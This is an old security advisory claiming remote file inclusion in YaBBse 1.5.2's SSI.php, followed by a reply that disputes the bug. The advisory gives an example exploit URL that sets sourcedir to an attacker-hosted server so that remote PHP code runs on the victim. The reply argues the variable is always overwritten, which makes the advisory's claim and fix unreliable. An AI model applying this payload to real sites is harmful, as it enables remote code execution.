II-Labs Advisory: Remote code execution in YaBBse 1.5.2 (php version)

[DownBload]

[ Illegal Instruction Labs Advisory ]
[------------------------------------------------------------------------]
Advisory name: Remote code execution in YaBBse 1.5.2 (php version)
Advisory number: 13
Application: Yet another Bulletin Board 1.5.2
Vendor: www.yabbse.org
Date: 06.05.2003
Impact: Attacker can execute arbitrary php code
Tested on: *
Discovered by: Dalibor Karlovic & DownBload
Mail me @: downbload@hotmail.com
Homepage: www.kamikaza.org



======[ Overview
YaBB is widely used bulletin board system.



======[ Problem
One of the files that are included in main application is vulnerable
to remote code execution if it is accessed directly with certain
parameters.
Name of the file is SSI.php.
Simmilar bug was discovered in previous version YaBB 1.5.1.

SSI.php:
------------------------------------------
include_once ($sourcedir . '/Errors.php');
include_once ($sourcedir . '/Subs.php');
include_once ($sourcedir . '/Load.php');
------------------------------------------

We can define $sourcedir variable through URL and include some other
PHP script local or remote if remote inclusion is enabled in php.ini file.
Bug in not exploitable if PHP's registar_globals is set to off.




======[ Exploit

Exploit would look like this:
----cut here----
http://www.victim.com/yabbse/ssi.php?sourcedir=http://www.attacker.com
----cut here----

Attacker would place an Errors.php file on his server. The code included
would get executed on victim's server.
Attacker's httpd server should not have php enabled because the
script will be parsed before sending it to the victim.




======[ Solution

Add this line before include_once() lines mentioned above.

----cut here----
if (!isset($sourcedir)) $sourcedir = "";
----cut here----




======[ Greetz
Greetz goes to #hr.hackers and #linux <irc.carnet.hr>.
Special greetz goes to (rand()): St0rm, BoyScout, h4z4rd, finis, Sunnis,
Fr1c, phreax, StYx, harlequin, LekaMan, Astral and active-security.
Shitz goes to stupid darkman, who will exploit this bug and claim that
he is a great hacker.

[ScriptSlave@gmx.net]

>SSI.php:
>------------------------------------------
>include_once ($sourcedir . '/Errors.php');
>include_once ($sourcedir . '/Subs.php');
>include_once ($sourcedir . '/Load.php');
>------------------------------------------

You should probably quote the lines above this block, too.

------------------------------------------
(Line #031) $full_yabbse_path = '.';
(Line #048) include_once ($full_yabbse_path . '/Settings.php');
------------------------------------------

and you should quote Settings.php:

------------------------------------------
(Line #067) $sourcedir = "/home/something/board/Sources";
------------------------------------------

so before Errors.php is included, $sourcedir is *always* set to a value,
overwriting any variable that is passed through the URL.

>We can define $sourcedir variable through URL and include some other
>PHP script local or remote if remote inclusion is enabled in php.ini file.
>Bug in not exploitable if PHP's registar_globals is set to off.

see above - you can't

>Add this line before include_once() lines mentioned above.
>
>----cut here----
>if (!isset($sourcedir)) $sourcedir = "";
>----cut here----

So you are setting $sourcedir to "" if it isn't set? Whats the point of
this?

The hole does *not* exist, as the variable $sourcedir is always set to a
value. Even if the user did not yet configure YaBB SE, $sourcedir is set to an
empty value.

--
+++ GMX - Mail, Messaging & more http://www.gmx.net +++
Bitte lächeln! Fotogalerie online mit GMX ohne eigene Homepage!